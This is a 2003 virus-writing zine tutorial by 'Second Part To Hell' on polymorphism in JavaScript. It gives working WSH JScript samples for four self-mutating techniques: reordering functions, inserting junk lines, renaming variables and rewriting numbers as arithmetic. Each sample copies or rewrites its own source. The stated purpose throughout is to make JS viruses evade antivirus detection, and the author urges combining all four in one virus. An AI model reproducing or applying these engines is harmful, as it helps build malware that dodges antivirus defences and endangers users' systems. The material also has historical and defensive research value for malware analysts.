Last article | Table of contents | Next article |
---|
Polymorphism in JavaScript by Second Part To Hell
.intro words The history of JavaScript has been started in 1999, when jackie released his JS.Optiz in Line Zer0 #2. That was the first virus of its kind, which infects .JS files. About two years later, in 2001, T-2000 released the first I-Worm via .JS in Matrix #3 named I-Worm.Dawn and Yello released the first "encrypted" JavaScript virus named JS.3Nokia, which used a VBS-file with the command "replace". Again in 2001, jackie released the first poly engine for JavaScript (it changes the variable names). In 2003, jackie released the first real JS encryption article in rRlf#3 and I made the first JS VCK ever. Today there are about 20 JS-viruses around the world, and besides of these I told you, without any Anti AV technique (neither encryption nor polymorphism). That was my inspiration in writting this article. I thought it's a bad fact to not discover good techniques for viruses in a computer language (JavaScript), and I wanted to do something against that. Well, here we are... As everybody knows, polymorphism is changing the code of the program (virus). When I thought about ways how to manage that, four different came to my mind. First one is "body-moving", second one is "adding trash", third one is "changing var or func names" and last one is "number calculating". OK, blabla... ;) Let's start: .index I told you, that I found four techniques. The article includes examples and explanation for every one. The names of the types came from my mind, don't say anything against them. Thanks! :) 1) Body Moving 2) Adding Trash 3) Changing variable and function names 4) Number calculating .Body Moving Maybe the name explanes itself. If not, I'll explain it to you: If you make your virus the normal way, it has always the same form (command A, command B, command C, ...). Now let's change them to get another form. The exaple you will see some lines after that is able to make 24 (4*3*2*1) variants of itself. The explanation you'll find after the code. - - - - - - - [body-moving-example] - - - - - - - var fso=alpha() var fake=doit() var fake=ranA() var randa, randb, randc, randd file.WriteLine("// End") function alpha() { var import=WScript.CreateObject("Scripting.FileSystemObject") return(import) } function doit() { file=fso.CreateTextFile("file.js") myfile=fso.OpenTextFile(WScript.ScriptFullName, 1) for (i=0; i<=5; i++) { code=myfile.ReadLine(); file.WriteLine(code) } myfile.Close() } function ranA() { for (i=0; i<=25; i++) { cont=""; rand=Math.round(Math.random()*3)+1 if (rand==1) { if (randa!=1) { cont="function alpha()"; count=4; randa=1 } } if (rand==2) { if (randb!=1) { cont="function doit()"; count=6; randb=1 } } if (rand==3) { if (randc!=1) { cont="function ranA()"; count=12; randc=1 } } if (rand==4) { if (randd!=1) { cont="function ranB(cont, count)"; count=16; randd=1 } } if (cont!="") { fake=ranB(cont, count) } } } function ranB(cont, count) { myfile=fso.OpenTextFile(WScript.ScriptFullName, 1) code=""; for (j=0; j<=100; j++) { if (code!="// End") { code=myfile.ReadLine() } if (code==cont) { for (k=0; k<=count; k++) { if (code!="// End") { file.WriteLine(code); code=myfile.ReadLine() } } } } myfile.Close() } // End - - - - - - - [end of body-moving-example] - - - - - - - The only thing the file is doing is to generate a new variant of itself in the current directory with the filename "file.js" Nothing more. You can see four different functions (alpha, doit, ranA, ranB). The file writes this functions into the new file, but in different order. - - - - - - - [explanation of the body-moving sample] - - - - - - - >> var fso=alpha() >> var fake=doit() >> var fake=ranA() This 3 lines are something like a call to the different functions. For instands first line (fso) calls the alpha-function. >> var randa, randb, randc, randd These four variables we'll use in the ranA-function. And because of the fact, that we want to calculate with them, we have to write this line. >> file.WriteLine("// End") The last line, when somebody runs the file. Why the last line? Everything else runs in the functions we called above. >> function alpha() >> { >> var alph=WScript.CreateObject("Scripting.FileSystemObject") >> return(alph) >> } Our first function. As you can see, the variable "import" is the FileSystemObject. Then it returns the "import". That means, now the "alpha" (the functionsname) has the value of "import". When you're looking in the very first line of the code, you will see "var fso=alpha()". That means, "fso=alpha()=beta=the filesystemobject". >> function doit() >> { >> file=fso.CreateTextFile("file.js") A new file will be created. After finishing, this file.js includes our code in different order. >> myfile=fso.OpenTextFile(WScript.ScriptFullName, 1) We open our code (WScript.ScriptFullName) to read from it (-> 1) >> for (i=0; i<=5; i++) { code=myfile.ReadLine(); file.WriteLine(code) } We read the first five lines from our code and write them to the new file. >> myfile.Close() >> } And close ourselve. >> function ranA() >> { >> for (i=0; i<=25; i++) >> { Start of the ranA function! The next things will run 25times. >> cont=""; The variable "cont" is empty, because we don't want it to be the old content. >> rand=Math.round(Math.random()*3)+1 rand is a random number between 1 and 4! >> if (rand==1) { if (randa!=1) { cont="function alpha()"; count=4; randa=1 } } if the random-number we searched in the last line is 1 then the variable cont is the value for writing the "alpha-function" to the file. The variable count contains the number of the lines, we want to write to the new file. randa is 1 because he have to check, if it's already written to the file. >> if (rand==2) { if (randb!=1) { cont="function doit()"; count=6; randb=1 } } The same as the last line: if the random-var-value is 2 then: The searching value of "cont" is the the start of "doit-function". We want to write the whole function, because of that count=6 (doit has 6 lines) And set the randb one for avoiding writing the thing again to the file. >> if (rand==3) { if (randc!=1) { cont="function ranA()"; count=12; randc=1 } } The same: searching for ranA-function, write 12 lines and set the randc to 1 >> if (rand==4) { if (randd!=1) { cont="function ranB(cont, count)"; count=16; randd=1 } } The same again! >> if (cont!="") { fake=ranB(cont, count) } Now we call the ranB function! First we have to check, if cont<>"", then call the function and give it the information about what we are searching for (cont) and how much lines we want to write. >> } >> } End of the "for" and end of the function. >> function ranB(cont, count) >> { Here the function ranB starts. And as you see above, we're using the two variables from ranA function. cont is the value we'll search for and count is the number of lines we're writing to the file.js. >> myfile=fso.OpenTextFile(WScript.ScriptFullName, 1) We open ourselve again to read from it. >> code=""; Have to delete the content of the code-variable. Otherwise the program won't work. >> for (j=0; j<=100; j++) >> { Next things will run 100 times. >> if (code!="// End") { code=myfile.ReadLine() } First we're checking, if the old content of "code" is "// End". You can see the "// End" at the end of the code. If you don't check that, there will be an "Read after EOF"-error and we don't want that. OK, if the code isn't "// End", we'll read one line from our code. >> if (code==cont) >> { If the line we read is the line we're searching for (remember the function-name when we called this function), the next things will run. >> for (k=0; k<=count; k++) >> { Next things will run "count"-times. Maybe you remember, that count is the number of lines we want to write. >> if (code!="// End") { file.WriteLine(code); code=myfile.ReadLine() } First we're checking once more if the line we read isn't the end of the file. If it isn't then we're writing the "code" (line we read before) to the new file and read the next line of our code. >> } >> } >> } >> myfile.Close() >> } >> // End First "for", "if" and second "for" ends, we close our file and the function ends. You can see a "// End". It shows the program the end of the file, to don't get the error i explained before. - - - - - - - [end of explanation of the body-moving sample] - - - - - - - .Adding Trash Adding trash is another nice thing to make it harder to detect the virus. A short explanation of it: You add some junk comments to the file, which don't let the program show any error. The example file (you'll find it some lines after this) includes new variables and "comments" (double-slash [//]) to the new file. The variables don't do anything, and also the comments don't do anything. A nice fact while using this techinque is, that the file has every generation an other size. Note: It's important, that you don't add the trash into next generation, because the code will get bigger and bigger. Now let's have a look at the example. You'll find an explanation of the code after it. - - - - - - - [adding-trash-example] - - - - - - - var fso=WScript.CreateObject("Scripting.FileSystemObject") file=fso.CreateTextFile("file.js") myfile=fso.OpenTextFile(WScript.ScriptFullName, 1) for (i=0; i<=100; i++) { code=myfile.ReadLine() if (code=="// End") { i=666; } codesn=String.fromCharCode(code.charCodeAt(0)) if (codesn!="/" && codesn != "v") { if (Math.round(Math.random()*3)+1==2) { rand=Math.round(Math.random()*2)+1 if (rand==1) { file.WriteLine("var "+namegen()+"="+unescape("%22")+namegen()+namegen()+unescape("%22")) } if (rand==2) { file.WriteLine("// "+namegen()) } if (rand==3) { file.WriteLine("var "+namegen()+"="+Math.round(Math.random()*9999999)) } } file.WriteLine(code) } } file.WriteLine("// End") function namegen() { var name="" for (j=0; j<=Math.round(Math.random()*15); j++) { name=name+unescape("%"+(Math.round(Math.random()*18)+61)) } return(name) } // End - - - - - - - [end of adding-trash-example] - - - - - - - Once more the example makes a new generation of itself in the current directory with the filename "file.js". Noting more. Now let's explain the lines of code. - - - - - - - [explanation of the adding-trash sample] - - - - - - - >> var fso=WScript.CreateObject("Scripting.FileSystemObject") Now the variable "fso" is the FileSystemObject. Important note: In front of the real code is a space. That's important, otherwise the program "thinks", that's also a trash-code and doesn't write it to the next generation and the program won't work anymore. >> file=fso.CreateTextFile("file.js") >> myfile=fso.OpenTextFile(WScript.ScriptFullName, 1) Here we're generating a new file (file.js - it should be our new file) and opening our file to read from it. >> for (i=0; i<=100; i++) >> { Next things will run 100 times (For every line one time, but you know, we added also trash-lines of code. Because of that 100 times.). >> code=myfile.ReadLine() Read one line of our file and save it to variable "code". >> if (code=="// End") { i=666; } In the end of the code you'll see a mark "// End". Now we're checking if the code is this mark (If yes, we're at the end of the code and have to stop reading: so we set the counter (variable "i") to 666. (101 would also work, but I thought, 666 is better :D ) >> codesn=String.fromCharCode(code.charCodeAt(0)) Now code is the first sign of the variable "code". (This line is from jackie's "don't hide, come out! (jscript encryption, a humble approach)". Thanks!) Why we need the first sign of "code"? Because we have to check, if it's a normal line or a trash-line. >> if (codesn!="/" && codesn != "v") >> { I told you, that "codesn" is the first sign of "code". Now we check, if it isn't "/" or "v" (this lines are trash lines). If it isn't so, the program will run the next lines. >> if (Math.round(Math.random()*3)+1==2) >> { We don't want to add a trash line to every line, because of that we have to use a random number to check, if it should be written. If the random number we're searching for is two, we'll add trash (we'll run the next lines). >> rand=Math.round(Math.random()*2)+1 Again a random number. Now we check, which one of the three trash types we'll write. >> if (rand==1) { file.WriteLine("var "+namegen()+"="+unescape("%22")+namegen()+namegen()+unescape("%22")) } Type one: It writes something like [var hbsdfhish="ksjdfhhfskdjhfhksdjfuo"] to the file. You may wonder what "namegen()" means. That's some random signs generated by the function "namegen". You'll find it some lines after that code. >> if (rand==2) { file.WriteLine("// "+namegen()) } Type two: It writes something like [// jowkcnan] to the file. >> if (rand==3) { file.WriteLine("var "+namegen()+"="+Math.round(Math.random()*9999999)) } Type three: It writes something like [var jdiqpk=5482758] to the file. >> } >> file.WriteLine(code) >> } >> } >> file.WriteLine("// End") End of the first if. Then we're writing the code we already read from our code to the file. Then the Second "if" and the "for" ends. At the end of the new file we're writing a "// End", because we've to know, that here the code ends. If you think, we have already written this to the code: No, remember, we did't write anything beginning with "/". >> function namegen() >> { Function "namegen" starts. Here we'll make our random names. >> var name="" Important line. If we don't write it, there will be an error. >> for (j=0; j<=Math.round(Math.random()*15); j++) >> { Next things will run [1-15] times. Why that? Because we want a random size of the new variable. >> name=name+unescape("%"+(Math.round(Math.random()*18)+61)) Here we'll make the random variable. It's called "name" and will contain only lowercase letters. You can see the [unescape("%"+random number)]. That's something like "chr(...)" in VB. >> } >> return(name) >> } >> // End The "for" ends. Then we return the variable "name". Now we can use it, when we call "namegen()" After this the function ends. And last line, as I told about 100 times, is the "// End", which shows us the End Of File. - - - - - - - [end of explanation of the adding-trash sample] - - - - - - - .Changing variable and function names Changing the variable names is an other nice technique, and maybe the most successful of all. A short explanation: Most JavaScripts use much variables (like a variable for the FileSystemObject or something like that) or functions to make the code smaller. Variables or functions don't need to have a static name, that means, you can change them. That's the principle of the next example. Changing these names means very hard detection of the virus by AVs. OK, now let's have a look at the example. - - - - - - - [changing-names example] - - - - - - - var fso=WScript.CreateObject("Scripting.FileSystemObject") myfile=fso.OpenTextFile(WScript.ScriptFullName,1) mycode=myfile.ReadAll() myfile.Close() file=fso.CreateTextFile("newvir.js") file.Write(mycode+String.fromCharCode(47)+String.fromCharCode(47)) file.close() for (l=0; l<10; l++) { code=changeit(l) file=fso.OpenTextFile("newvir.js",2) file.Write(code+String.fromCharCode(47)) file.Close() } function changeit(i) { var code=""; wrte=""; var changevars=new Array("fso", "changeit", "myfile", "mycode", "file", "wrte", "randname", "namegen", "check", "code", "changevars") myfile=fso.OpenTextFile("newvir.js",1) randname=namegen() for (k=0; k<2500; k++) { check=1; if (wrte!=String.fromCharCode(47)) { wrte=myfile.Read(1) if (wrte==changevars[i].substring(0,1)) { for (m=1; m<changevars[i].length; m++) { wrte+=myfile.Read(1) if (wrte!=changevars[i].substring(0,m+1)) { m=666 } } if (wrte==changevars[i]) { code+=randname; check=0; } } if (check) { code+=wrte } } } return(code) } function namegen() { var randomn="" for (j=0; j<=Math.round(Math.random()*15)+5; j++) { randomn+=unescape("%"+(Math.round(Math.random()*18)+61)) } return(randomn) } // - - - - - - - [end of changing-names example] - - - - - - - As you can see, the example uses an array with all the variable names, that have to be changed. Then it searches in every letter for the start of the variable-name, that it should change. If there's no variable, it copies the letter to "code". Else it copies a new random name to the "code". This new letter is the new variable or function name. Now I'm going to explain you every line. - - - - - - - [explanation of the changing-names sample] - - - - - - - >> var fso=WScript.CreateObject("Scripting.FileSystemObject") >> myfile=fso.OpenTextFile(WScript.ScriptFullName,1) >> mycode=myfile.ReadAll() >> myfile.Close() First line means, that "fso" is the FileSystemObject. Then we open ourselve, read everything and close ourselve. As you can see, "mycode" is the whole content of our file. >> file=fso.CreateTextFile("newvir.js") >> file.Write(mycode+String.fromCharCode(47)+String.fromCharCode(47)) >> file.close() We're createing a new file named "newvir.js" and write our code+"//" to it. The "String.fromCharCode(...)" is something like "chr$(...)" in VB. And the ASCII from "47" is "/". After doing that, we close the file. >> for (l=0; l<10; l++) >> { The next things runs 11 times (10+"0"=11), because we have to change 11 variables. >> code=changeit(l) We call the function "changeit" and give it the value "l". That's the counter of this "for". (1.run:0; 2.run:1; 3.run:2; ...). The "return-value" of the function will be copied to "code". >> file=fso.OpenTextFile("newvir.js",2) >> file.Write(code+String.fromCharCode(47)) >> file.Close() >> } We open the "newvir.js" again to write (2). We write the "code" and a "/" to the file and close it. Then the "for" ends. >> function changeit(i) >> { You can see: Here is the start of the "changeit"-function. >> var code=""; wrte=""; We set the value of the variables "code" and "wrte" to nothing. If we don't do that, the whole code won't work. >> var changevars=new Array("fso", "changeit", "myfile", "mycode", "file", "wrte", "randname", "namegen", "check", "code", "changevars") That's the array with all the variable names, that have to be changed. As you can see, there are 11 ones. >> myfile=fso.OpenTextFile("newvir.js",1) We open the "newvir.js" to read from it. This file contains our whole code. >> randname=namegen() Now the variable "randname" is the value of the return from the "namegen"-function. That value is a random name with 5 to 20 letters. We have to save that value, otherwise every variable we wanna change has an other name. (for instands: 1.fso: kgfoqm, 2.fso: oemvhqp, ...) >> for (k=0; k<2500; k++) >> { Next things will run 2500 times (because of the size of the code - you have to know, that every variable could be 20 bytes). >> check=1; "check" is a variable which tells us, if we've already written a piece of code to the file. Value 1: We have to write, Value 2: We did. >> if (wrte!=String.fromCharCode(47)) >> { We check, if we read a "/". If yes, we're at the end of the file. If it's not, the next things will run. >> wrte=myfile.Read(1) "wrte" is one byte of our code. >> if (wrte==changevars[i].substring(0,1)) >> { We check, if "wrte" is the first byte of the variable we're searching for at the moment. If yes, we will do the other things too. >> for (m=1; m<changevars[i].length; m++) >> { We'll repeat the next lines as often as the variable we're searching for is long. m=1 because we already read one byte. >> wrte+=myfile.Read(1) Now we read one more byte and add it to the variable wrte. >> if (wrte!=changevars[i].substring(0,m+1)) { m=666 } If the numbers of bytes, that we read, is not the part of the variable, which we're searching for, then we stop the "for". Let's set "m" to 666. The for runs as often as the size of the variable, which we are searching for. And the biggest size of a variable is 20 (5+15). So we stop it in an easy way. >> } >> if (wrte==changevars[i]) { code+=randname; check=0; } End of the first "for". Next line: If the things we read from the file are the same as the variable we are searching for, then we'll add the new variable to the code and set check to zero, because we already added it. >> } >> if (check) { code+=wrte } End of an "if". Now we check, if we added the things from reading to "code" or not. If not, then we'll add it. >> } >> } >> return(code) >> } End of the "if" and end of the "for". Now we return the "code" to the main program. Now the main program can use "code" via "changeit()" (That's the name of the current function. And the function "changeit" ends.). >> function namegen() >> { The function "namegen" starts. >> var randomn="" We have to set "randomn" to nothing, otherwise the program won't work. >> for (j=0; j<=Math.round(Math.random()*15)+5; j++) { randomn+=unescape("%"+(Math.round(Math.random()*18)+61)) } That's an important line. It searches for a random name. The variable "randomn" is a random name with [5..20] letters. >> return(randomn) >> } We return this random name to the main program and close the function "namegen" >> // Here you can see the "//". This tells our program, that there is the end of the whole code, and we don't have to read anymore. - - - - - - - [end of explanation of the changing-names sample] - - - - - - - .Number calculating This technique came to my mind while I was trying to include the three other techniques in one virus. It's a quite good technique to fake AVs because they have to calculate with all the numbers. If they do so, it will use fucking much time. The main idea behind this script is, that [1]=[2-1]=[4*2-7]=[33/11*2/6] ... I guess, you know what I mean. OK, now let's have a look at the code. - - - - - - - [number-calculating-example] - - - - - - - var fso=WScript.CreateObject('Scripting.FileSystemObject'); code=''; fileall=fso.OpenTextFile(WScript.ScriptFullName,1).ReadAll() file=fso.OpenTextFile(WScript.ScriptFullName,1) for (i=1; i<fileall.length; i++) { sign=file.Read(1) checka=1; if (sign.charCodeAt(0)>47 && sign.charCodeAt(0)<58) { checka=0; findfullnumber(sign) } if (checka) { code+=sign; } } file.Close() WScript.Echo(code) file=fso.OpenTextFile(WScript.ScriptFullName,2) file.Write(code+'}') file.Close() function findfullnumber(sign) { number=sign; for (j=i; j<fileall.length; j++) { check=1; sign=file.Read(1); i++; if (sign.charCodeAt(0)>47&& sign.charCodeAt(0)<58 || sign=='.') { number+=sign; check=0;} if (check==1) { j=fileall.length } } calc=Math.round(Math.random()*2)+1; rand=Math.round(Math.random()*10)+1; if (calc==1) { newnum='('+(number-rand)+'+'+rand+')' } if (calc==2) { newnum='('+(number/1+rand)+'-'+rand+')' } if (calc==3) { newnum='('+(number*rand)+'/'+rand+')' } code+=newnum+sign; } - - - - - - - [end of number-calculating-example] - - - - - - - This file, while running, changes every number to something else. For instands it changes [2] to [3+3/3] or whatever. You have to know, that this code is just a prove of concept and you are able to improve the whole thing. For instands in that way: ... eval(String.fromCharCode([here your whole viruscode in chr])) ... You will get tons of numbers, and because of that the above script will be much more successful. Hmm, ok, now I will explain the lines, so you'll know, what it does. - - - - - - - [explanation of number-calculating-example] - - - - - - - >> var fso=WScript.CreateObject('Scripting.FileSystemObject'); code=''; >> fileall=fso.OpenTextFile(WScript.ScriptFullName,1).ReadAll() >> file=fso.OpenTextFile(WScript.ScriptFullName,1) We declate 'FileSystemObject', set code to nothing, open the file to read all (because we need the length of the file) and open it again, because we want to write. >> for (i=1; i<fileall.length; i++) >> { We do the next things as often as our file is long in bytes. (?!? :D) >> sign=file.Read(1) >> checka=1; Read one letter from the code and set 'checka' to 1. >> if (sign.charCodeAt(0)>47 && sign.charCodeAt(0)<58) >> { Check if the letter we found is a number. >> checka=0; findfullnumber(sign) >> } If yes, checka=0 and we call 'findfullnumber', because the number could have more than one sign (for instands: 12). End of the if-part. >> if (checka) { code+=sign; } >> } If we found no number, we'll add the letter to the variable 'code'. End of the for-part. >> file.Close() >> WScript.Echo(code) >> file=fso.OpenTextFile(WScript.ScriptFullName,2) >> file.Write(code+'}') >> file.Close() We close the file with read-access, write a msg-box with the new code, open the file again with write-access and write the code +'}' to the file and close it again. We need to write '}', because the last letter of the code ('}') won't be added to the variable 'code'. >> function findfullnumber(sign) >> { >> number=sign; Let's start to search for the whole number. Add sign (the letter, which is a number) to 'number'. >> for (j=i; j<fileall.length; j++) >> { We do the next things as often as our filesize is, because the number could have 1000 signs or more, and I had no better idea how to do this. :) >> check=1; sign=file.Read(1); i++; Set 'check' to 1. We read one letter of our file, and increase 'i', otherwise there will be a 'read after file-end'-error. >> if (sign.charCodeAt(0)>47&& sign.charCodeAt(0)<58 || sign=='.') { number+=sign; check=0;} Check if the letter we read is a number or a comma. If yes, add the letter to the variable, that contains the number. And set check to zero. >> if (check==1) { j=fileall.length } >> } If check is still one (= number ended) we set the length of our file to j (to stop the 'for'-part). >> calc=Math.round(Math.random()*2)+1; >> rand=Math.round(Math.random()*10)+1; Two random numbers, that we need to generate the new calculation. >> if (calc==1) { newnum='('+(number-rand)+'+'+rand+')' } >> if (calc==2) { newnum='('+(number/1+rand)+'-'+rand+')' } >> if (calc==3) { newnum='('+(number*rand)+'/'+rand+')' } Generating the new calculations. You may wonder about the '/1' in line two. Windows 'thinks', that 'number' is a string, because of that it will add 'rand' as string and not as number (12+2=122). With this trick we change the string to a number: (12+2=14). I added before and after the calculation a '(' and ')' because add and dec are 'Level One' calculating-signs, and mul and div are 'Level Two'. >> code+=newnum+sign; >> } Add the new calculation to code. - - - - - - - [explanation of number-calculating-example] - - - - - - - .last words I think, polymorphism is the best technique in scripts to avoid detection of AVs. One polymorphic technique is good, two are better and three are the best and now guess, what will be up, if you use four differend polymorphism techniques in one virus. It would be no problem to add all these techniques in one virus. In fact, I think, it would be a big problem for AVs to detect all variants of such a virus. Now, at the end of the article, I hope that you've enjoyed reading this and you didn't become bored. One important fact I forgot: Please forgive me my grammer or spelling mistakes in this article. English isn't my nativ language and I'm to lazy to learn writing without mistakes. :D - - - - - - - - - - - - - - - Second Part To Hell/[rRlf] www.spth.de.vu written from may-august 2003 Austria - - - - - - - - - - - - - - -